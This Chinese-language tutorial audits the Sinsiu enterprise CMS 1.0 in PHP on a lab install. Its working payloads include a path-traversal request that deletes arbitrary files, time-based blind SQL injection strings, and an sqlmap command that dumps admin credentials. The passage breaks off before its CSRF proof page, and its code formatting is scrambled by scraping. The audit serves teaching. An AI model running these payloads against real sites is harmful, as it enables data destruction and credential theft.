系统介绍

CMS 名称:新秀企业网站系统 PHP 版

官网www.sinsiu.com

版本:这里国光用的1.0 正式版(官网最新的版本有毒,网站安装的时候居然默认使用远程数据库???迷之操作 那站长的后台密码岂不是直接泄露了?疑似远程数据库地址:server.sinsiu.net)

下载地址:蓝奏云

Windows 下使用 PHPStudy 可以直接安装,搭建起来还是很简单的。

防护策略

虽然这是一个不知名的小系统,但是安全加固还是考虑到的,很多本应该有漏洞的地方均被加固修复了,导致国光我一开始一直碰壁,=,= 废话不多说,下面直接列举本次审计碰到的一些坑。

伪造 IP 注入过滤

思路

首先在后台发现有记录用户 IP 的功能:

PHP 代码审计之入门实战

哦豁,会不会有传说中的伪造 IP 地址注入攻击呢???使用数据库监测工具,发现在注册用户发表评论的时候。用户的 IP 地址也的确被带入 SQL 语句中查询了:
``` *

    select*from php_safe where saf_ip = '10.211.55.2'  and saf_action = 'message'

VSCode 走起,根据关键词来查找相关功能代码:**include/function.php**```     * * * * * * * * * * * * * * * * * * * * *

// 获取客户端 IPfunction get_ip(){ if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); }elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){ $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){ $ip = getenv('REMOTE_ADDR'); }elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = '0.0.0.0'; } if(!is_numeric(str_replace('.','',$ip))) { $ip = '0.0.0.0'; } return $ip;}

结果

获取 IP 的关键防护代码:
``` * *

    if(!is_numeric(str_replace('.','',$ip))){  $ip = '0.0.0.0';}

获取到的 IP 值,去除掉 `.` 后如果不是**数字类型**的话就重置为 `0.0.0.0` ,扑街,这条思路行不通,赶紧换个思路去## 存储型 XSS 过滤### 思路网站前台有留言功能,留言就会想到存储型 XSS,2333 嗝:![PHP 代码审计之入门实战](https://img.chainnews.com/material/images/43bf06ef5b416d2561dd3854bc57d698.jpg)### 结果定位到留言函数的代码:**index/module/info_main.php**```     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

function add_message(){ safe('message'); global $global,$smarty,$lang; $mes_email = post('email'); $mes_type = post('type'); $mes_title = post('title'); $mes_text = post('text'); $mes_show = post('show'); if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '') { $info_text = $lang['submit_error_info']; }else{ $mes_add_time = time(); if($mes_show != '2') { $mes_show = '0'; } $obj = new message(); $obj->set_value('mes_user_id',$global['user_id']); $obj->set_value('mes_type',$mes_type); $obj->set_value('mes_email',$mes_email); $obj->set_value('mes_title',$mes_title); $obj->set_value('mes_text',$mes_text); $obj->set_value('mes_add_time',$mes_add_time); $obj->set_value('mes_show',$mes_show); $obj->set_value('mes_lang',S_LANG); $obj->add(); if(intval(get_varia('sentmail'))) { $email_title = ' 您的网站有了新的留言 '; $email_text = "[$mes_type] $mes_title
$mes_text"; call_send_email($email_title,$email_text,$global['user_id'],$mes_email); } $info_text = $lang['submit_message']; } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$lang['go_back']); $smarty->assign('link_href',url(array('channel'=>'message')));}

可以看到前台用户传入的数据经过了 post() 函数,追踪到 post() 函数的定义处:

include/function.php
``` * *

     function post($val,$filter = 'strict'){    return $filter(isset($_POST[$val])?$_POST[$val]:'');}

??? 继续找到 `strict` 的定义处:**include/function.php**```     * * * * * * * * * * * * * * * *

// 严格过滤字符串中的危险符号 function strict($str){ if(S_MAGIC_QUOTES_GPC) { $str = stripslashes($str); } $str = str_replace('<','<',$str); $str = str_replace('>','>',$str); $str = str_replace('?','?',$str); $str = str_replace('%','%',$str); $str = str_replace(chr(39),''',$str); $str = str_replace(chr(34),'"',$str); $str = str_replace(chr(13).chr(10),'
',$str); return $str;}

可以发现 我们的存储 XSS 所用到的尖括号完全被过滤掉了:
``` * *

    $str = str_replace('<','<',$str);$str = str_replace('>','>',$str);

这也导致了 管理员后台可以直接看到 XSS Payload , 场面一度非常尴尬:![PHP 代码审计之入门实战](https://img.chainnews.com/material/images/e9c2ebbfca4b1767f6996d9c0936f11a.jpg)用户评论的核心代码也被过滤了:**index/module/info_main.php**```     * * * * * * * * * * * * * * * *

function add_comment(){ safe('comment'); global $global,$smarty,$lang; $channel = post('channel'); $com_page_id = post('page_id'); $com_email = post('email'); $com_rank = post('rank'); $com_text = post('text'); if($channel == '' || $com_page_id == '' || $com_rank == '' || $com_email == '' || $com_text == '') { $info_text = $lang['submit_error_info']; } ... ...}

存储 XSS 扑 gai~

前台用户 CSRF 判断

思路

网站有留言板和文章评论,如何存在 CSRF 越权的话可以在评论或者留言处贴构造好的 CSRF 链接,来进行 CSRF 攻击。23333 感觉稳了!定位到相关功能代码:

index/module/user/deal.php
``` * * * * * * * * * * * *

     function edit_pwd(){    safe('edit_pwd');    global $global,$smarty,$lang;    $old_pwd = post('old_pwd');    $new_pwd = post('new_pwd');    $re_pwd = post('re_pwd');    if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)    {        $info_text = $lang['submit_error_info'];    }else{        $use_password = md5($old_pwd);        $obj = new users();        $obj->set_where('use_id = '.$global['user_id']);        $obj->set_where("use_password = '$use_password'");        if($obj->get_count() > 0)        {            $use_password = md5($new_pwd);            $obj->set_value('use_password',$use_password);    ......}

### 结果**index/moudle/user/deal.php**```     * * * * * *

// 这里需要提供旧密码 $use_password = md5($old_pwd);$obj = new users();$obj->set_where('use_id = '.$global['user_id']);$obj->set_where("use_password = '$use_password'");if($obj->get_count() > 0)

没有旧密码 是不可能改密码的,所以 CSRF 攻击其他用户的想法 GG

可控变量过滤

虽然作为一个 CMS,用户可控变量很多,文章浏览等功能不可避免地要进行数据库操作,但是该系统基本上把所以可控变量都给过滤了。

session 过滤

使用了 $filter = 'strict' 严格模式,关于 strict 函数细节可以参考文章上面贴的代码:

include/function.php
``` * * * * * * * * * * *

     function set_session($name,$value,$filter = 'strict'){    if(S_SESSION)    {        $_SESSION[$name] = $filter($value);    }else{        setcookie($name,$filter($value));    }}// 获取 sessionfunction get_session($name,$filter = 'strict'){    if(S_SESSION)    {        return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');    }else{        return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');    }}

### cookie 过滤**include/function.php**```     * * * * *

// 获取 cookiefunction get_cookie($name,$filter = 'strict'){ return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');}

管理员登录过滤

admin/module/info_main.php
``` * * * * * * * *

     function admin_login(){    safe('admin_login');    global $smarty,$lang;    $username = substr(post('username'),0,30);    $password = substr(post('password'),0,30);    if($username == '' || $password == '')    {        unset_session('admin_username');        unset_session('admin_password');        $info_text = ' 对不起,用户名和密码不能为空 ';        $link_text = ' 返回重新登录 ';    }  ...  ...}

### 普通用户登录过滤**index/module/info_main.php**```     * * * * * * * * * * * *

function user_login(){ safe('user_login'); global $global,$smarty,$lang; $info_text = post('info_text'); $link_text = post('link_text'); $link_href = post('link_href'); $username = post('username'); $password = post('password'); ... ...}

大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。

漏洞分析

后台任意文件删除

漏洞分析

漏洞文件:admin/deal.php

deal.php
``` * * * * * * * * * * * * *

     function del_file(){    $path = post('path');    $flag = false;    $dir[0] = 'data/backup/';    $dir[1] = 'images/';    $dir[2] = 'resource/';    for($i = 0; $i < count($dir); $i ++)    {        if(substr($path,0,strlen($dir[$i])) == $dir[$i])        {            $flag = true;        }    }    if($flag)    {        if(unlink($path))        {            $result = 1;        }    }    echo isset($result)?$result:0;}

这里核心看这处代码:```     * * * *

if(substr($path,0,strlen($dir[$i])) == $dir[$i]){ $flag = true;}

这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:
``` * * *

    $dir[0] = 'data/backup/';$dir[1] = 'images/';$dir[2] = 'resource/';

这 3 个目录下的文件,使用了 `substr` 从 `$path` 的 0 位置开始往后判断,只校验了 `$path` 前面是否在白名单内部,但是却忽略了 白名单**后面**的路径可能使用 `../` 的这种形式来穿越目录。### 漏洞利用![PHP 代码审计之入门实战](https://img.chainnews.com/material/images/ef56ab40eb152b84ccab34a00563d7eb.jpg)抓取 ` 删除 ` 这个操作的数据包,具体如下:```     * * * * * * * * * * * * * *

POST /admin.php?/deal/ HTTP/1.1Host: 10.211.55.12Content-Length: 33User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: http://10.211.55.12Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7Cookie: PHPSESSID=7e2ofb2 sbe5p0bhv8rcgfg5n84Connection: close
cmd=del_file&path;=images/../1.php

通过在白名单目录后面使用 ../ 可以实现跨目录任意文件删除,删除成功返回 1

PHP 代码审计之入门实战

后台盲注

后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略数字型盲注不需要闭合单引号就可以直接拼接 SQL 语句导致盲注的产生,下面就找一个典型的例子来分析。

漏洞分析

PHP 代码审计之入门实战

删除管理员账号这里存在数字型盲注,下面来看下细节代码:

admin/module/basic/deal.php
``` * * * * * * * * * *

     function del_admin(){    global $global;    $adm_id = post('id');    $obj = new admin();    $obj->set_where('adm_id = '.$global['admin_id']);    $a = $obj->get_one();    $obj->set_where('');    $obj->set_where("adm_id = $adm_id");    $b = $obj->get_one();    if($obj->get_count())    {        if($a['adm_grade'] < $b['adm_grade'])        {            $obj->del();            set_cookie('result',1);        }    }    echo 1;}

比较关键的两处代码是:```     * * * * *

// admin_id 用户可控 虽然经过 post 过滤了 $adm_id = post('adm_id');
// post 过滤后直接带入数据库操作 $obj->set_where('adm_id = '.$global['admin_id']);

为了进一步分析,使用 Burpsuite 来抓取修改密码的数据包,具体如下:
``` * * * * * * * *

    POST /admin.php?/deal/dir-basic/ HTTP/1.1Host: 10.211.55.12Content-Length: 18User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: http://10.211.55.12Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7Cookie: PHPSESSID=7e2ofb2 sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112Connection: close      cmd=del_admin&id;=2

因为代码里面只返回 1 `echo 1;` 所以这里注入的话只能使用**数字型基于时间的盲注**了:![PHP 代码审计之入门实战](https://img.chainnews.com/material/images/137a8a7eadeb9e7cde9e60765887f541.jpg)数据库监控工具来看一下后台执行了什么样的 SQL 语句:```     *

select*from php_admin where adm_id = 3

先延时再验证一下:
``` *

    cmd=del_admin&id;=3 and sleep(10)

后台 SQL 语句 :```     *

select*from php_admin where adm_id = 3 and sleep(10)

然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的 ID 被删掉以后,用 and 语句前提是两边都是真才可以,所以这里得把and换成or语句:

PHP 代码审计之入门实战

延时貌似误差比较大,实际延时的时长大概是理论延时的两倍左右。

既然知道有注入的话 ,下面开始验证吧。

漏洞利用

手工验证

手工延时盲注是个细心的活,下面只举个基本例子:
``` * * * * * * * * * *

    # 判断当前数据库长度# 当前数据库长度是否为 1 没有延时 不是 cmd=del_admin&id;=3 or if(length(database())=1,sleep(3),0)      # 延时 表明当前数据库长度为 6cmd=del_admin&id;=3 or if(length(database())=6,sleep(3),0)      # 当前数据库第 1 个字母的 ascii 码是否为 97 没有延时 不是 cmd=del_admin&id;=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0)      # 延时 表明当前数据库第 1 个字母的 ascii 码为 115 即 's'cmd=del_admin&id;=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0)      # 当前数据库第 2 个字母的 ascii 码是否为 97 没有延时 不是 cmd=del_admin&id;=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0)      # 延时 表明当前数据库第 2 个字母的 ascii 码为 105 即 'i'cmd=del_admin&id;=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0)      ...

**SQLMap 注入**为啥不自己写脚本来注入呢???因为 SQLMap 本身很强大,这里不需要造轮子,很多人不了解 SQLMap,认为现在基本上 SQLMap 注入不出来啥,实际上还是他们不够了解,SQLMap 灵活程度非常高,远比自己造轮子写脚本快的多。下面直接上关键的用法参数吧:```     *

sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2 sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id;=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

注入结果

PHP 代码审计之入门实战

细节
``` *

     -u "http://10.211.55.12//admin.php?/deal/dir-basic/"

实际上也可以 保存数据包为文本,然后 `-r`,文本里面手动标 星号```     *

--cookie="PHPSESSID=7e2ofb2 sbe5p0bhv8rcgfg5n84;"

因为这个是后台盲注,所以这里需要 Cookie 认证一下
``` *

    --data="cmd=del_admin&id;=3"

手动写入 POST 数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST```     *

-p "id"

手动指出存在注入的参数
``` *

    --technique=T

手动指定**时间型盲注**的检测技术,SQLMap 默认检测技术为 `BEUSTQ````     *

--random-agent

好习惯,随机 user-agent
``` *

    -v 3

国光自己的习惯,显示已注入的 payloads,国光习惯看 SQLMap 的 payload,看多有助于学习先进的手工注入技术```     *

--tamper="between"

因为这个网站过滤了尖括号,所以介个插件,作用是 NOT BETWEEN 0 AND # 替换大于号 >BETWEEN # AND # 替换等于号 =
``` *

    -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

日常操作,这里大家应该很熟悉了,国光就不再 BB 了## 管理员 CSRF### 漏洞分析修改管理员密码,没有验证就密码,直接提供新密码,而且没有 Token 验证来防御 CSRF 攻击:**admin/moudle/basic/deal.php**```     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

function edit_admin(){ global $global,$smarty; $adm_id = post('adm_id'); $adm_password = post('adm_password'); $re_password = post('re_password'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); $success = 0; if($obj->get_count()) { if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade']) { if(strlen($adm_password) >= 5 && $adm_password == $re_password) { $obj->set_value('adm_password',md5($adm_password)); $obj->edit(); $success = 1; } } } if($success) { $info_text = ' 修改密码成功 '; $link_text = ' 返回列表页 '; $link_href = url(array('channel'=>'basic','mod'=>'admin_list')); }else{ $info_text = ' 修改密码失败 '; $link_text = ' 返回上一页 '; $link_href = url(array('channel'=>'basic','mod'=>'admin_edit')); } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$link_text); $smarty->assign('link_href',$link_href);}

同理添加管理员也是这样:

admin/moudle/basic/deal.php
``` * * * * * * * * * * * * * * * *

     function add_admin(){    global $global,$smarty;    $adm_username = post('adm_username');    $adm_password = post('adm_password');    $re_password = post('re_password');    $obj = new admin();    $obj->set_where('adm_id = '.$global['admin_id']);    $one = $obj->get_one();    $adm_grade = $one['adm_grade'] + 1;    $obj->set_where('');    $obj->set_where("adm_username = '$adm_username'");    if($obj->get_count() == 0 && strlen($adm_username) >= 5 && strlen($adm_password) >= 5 && $adm_password == $re_password)    {        $obj->set_value('adm_username',$adm_username);        $obj->set_value('adm_password',md5($adm_password));        $obj->set_value('adm_grade',$adm_grade);        $obj->add();        $info_text = ' 添加管理员帐号成功 ';        $link_text = ' 返回列表页 ';        $link_href = url(array('channel'=>'basic','mod'=>'admin_list'));    }else{        $info_text = ' 添加管理员帐号失败 ';        $link_text = ' 返回上一页 ';        $link_href = url(array('channel'=>'basic','mod'=>'admin_add'));    }    $smarty->assign('info_text',$info_text);    $smarty->assign('link_text',$link_text);    $smarty->assign('link_href',$link_href);}

### 漏洞利用修改管理员密码为 :Passw0rd 构造以下 HTML 页面:```     * * * * * * * * * * * *